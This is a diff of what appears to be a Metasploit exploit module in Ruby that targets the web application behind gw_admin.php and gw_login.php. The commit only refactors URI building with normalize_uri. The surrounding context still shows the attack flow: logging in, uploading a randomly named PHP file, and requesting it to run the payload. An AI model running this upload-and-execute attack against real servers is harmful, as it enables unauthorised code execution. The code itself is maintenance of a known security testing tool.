@@ -51,7 +51,6 @@ def initialize(info={})
51
51
def check
52
52
53
53
base = target_uri . path
54
- base << '/' if base [ -1 , 1 ] != '/'
55
54
peer = "#{ rhost } :#{ rport } "
56
55
user = datastore [ 'USERNAME' ]
57
56
pass = datastore [ 'PASSWORD' ]
@@ -105,7 +104,7 @@ def upload(base, sid, fname, file)
105
104
106
105
res = send_request_cgi ( {
107
106
'method' => 'POST' ,
108
- 'uri' => " #{ base } gw_admin.php" ,
107
+ 'uri' => normalize_uri ( base , ' gw_admin.php' ) ,
109
108
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
110
109
'data' => data_post ,
111
110
} )
@@ -117,7 +116,7 @@ def login(base, user, pass)
117
116
118
117
res = send_request_cgi ( {
119
118
'method' => 'POST' ,
120
- 'uri' => " #{ base } gw_login.php" ,
119
+ 'uri' => normalize_uri ( base , ' gw_login.php' ) ,
121
120
'data' => "arPost%5Buser_name%5D=#{ user } &arPost%5Buser_pass%5D=#{ pass } &arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
122
121
} )
123
122
return res
@@ -127,7 +126,6 @@ def login(base, user, pass)
127
126
def exploit
128
127
129
128
base = target_uri . path
130
- base << '/' if base [ -1 , 1 ] != '/'
131
129
@peer = "#{ rhost } :#{ rport } "
132
130
@fname = rand_text_alphanumeric ( rand ( 10 ) +6 ) + '.php'
133
131
user = datastore [ 'USERNAME' ]
@@ -163,7 +161,7 @@ def exploit
163
161
begin
164
162
res = send_request_cgi ( {
165
163
'method' => 'GET' ,
166
- 'uri' => " #{ base } gw_admin.php?a=edit-own&t=users" ,
164
+ 'uri' => normalize_uri ( base , ' gw_admin.php?a=edit-own&t=users' ) ,
167
165
'cookie' => "sid#{ token } =#{ sid } "
168
166
} )
169
167
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
@@ -182,7 +180,7 @@ def exploit
182
180
begin
183
181
send_request_cgi ( {
184
182
'method' => 'GET' ,
185
- 'uri' => " #{ base } #{ shell_uri } " ,
183
+ 'uri' => normalize_uri ( base , shell_uri ) ,
186
184
} )
187
185
rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout
188
186
fail_with ( Exploit ::Failure ::Unreachable , "#{ @peer } - Connection failed" )
0 commit comments